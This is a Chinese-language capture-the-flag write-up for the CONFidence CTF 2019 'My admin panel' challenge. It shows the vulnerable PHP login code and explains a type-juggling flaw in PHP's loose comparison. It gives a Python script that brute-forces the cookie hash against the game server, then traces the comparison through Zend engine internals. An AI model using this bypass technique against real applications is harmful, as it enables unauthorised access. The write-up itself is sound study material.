CTF

Teaser CONFidence CTF 2019 - My admin panel

能拿到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();

可以发现,在判断session中的hash值是否与md5($cfg_pass)相等时用了松散比较,于是随便用个0e开头的hash 当然没显示出flag,但是返回了000646464xxxxx(忘了,题目也关了…) 他在与0xC0做与运算是,如果是0-9,结果是0,如果是a-z,结果是64。可以得出,这个hash值前3位是数字 因为他用了松散比较,当数字与字符进行松散比较时,php会把字符转换成数字,比如”123asdasd”就会被转换成123,”asdasd”就会被转换成0,所以我们就能用在有限时间内爆破出前3位数字,拿到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests

url = "https://gameserver.zajebistyc.tf/admin/login.php"

for i in range(100,1000):
    c = '{{"hash": {}}}'.format(i)
    print c
    r = requests.get(url, cookies={"otadmin":c})
    if "I CAN EVEN GIVE YOU A HINT" not in r.text:
        print r.text
        break

深究

知其然还要知其所以然,于是对这一过程进行了分析

1
2
3
4
5
<?php

$a = 123;
$b = "123asdasd";
var_dump($a==$b);

获得松散比较时的opcode Zend/zend_language_scanner.l文件中我们找到==对应的token 接下来就是语法解析,在Zend/zend_language_parse.y 最终分配到ZEND_IS_EQUAL_SPEC_CV_CV_HANDLER

跟进compare_function 会发现针对op1op2类型的操作,但是IS_LONGIS_STRING的情况不存在,就进入转换类型的分支 跟进zendi_convert_scalar_to_number这个宏函数 op1因为是整数,所以不做处理,op2是字符串,所以进入IS_STRING分支,跟进is_numeric_string 8说了继续 冲冲冲 这里就是字符转数字的关键步骤了,将字符串字符一个一个的处理,如果当前字符是数字就进行tmp_lval*10 + (*ptr) - '0'运算,直到遇到第一个不是数字的字符 所以在松散比较中,字符串转数字的流程就是 ZEND_IS_EQUAL_SPEC_CV_CV_HANDLER -> compare_function -> zendi_convert_scalar_to_number -> is_numeric_string -> is_numeric_string_ex -> _is_numeric_string_ex

这些都是gdb调试过后梳理的,并不是一上来就直接看源码233333

参考

http://www.phppan.com/2011/07/php-loose-and-strict-comparison/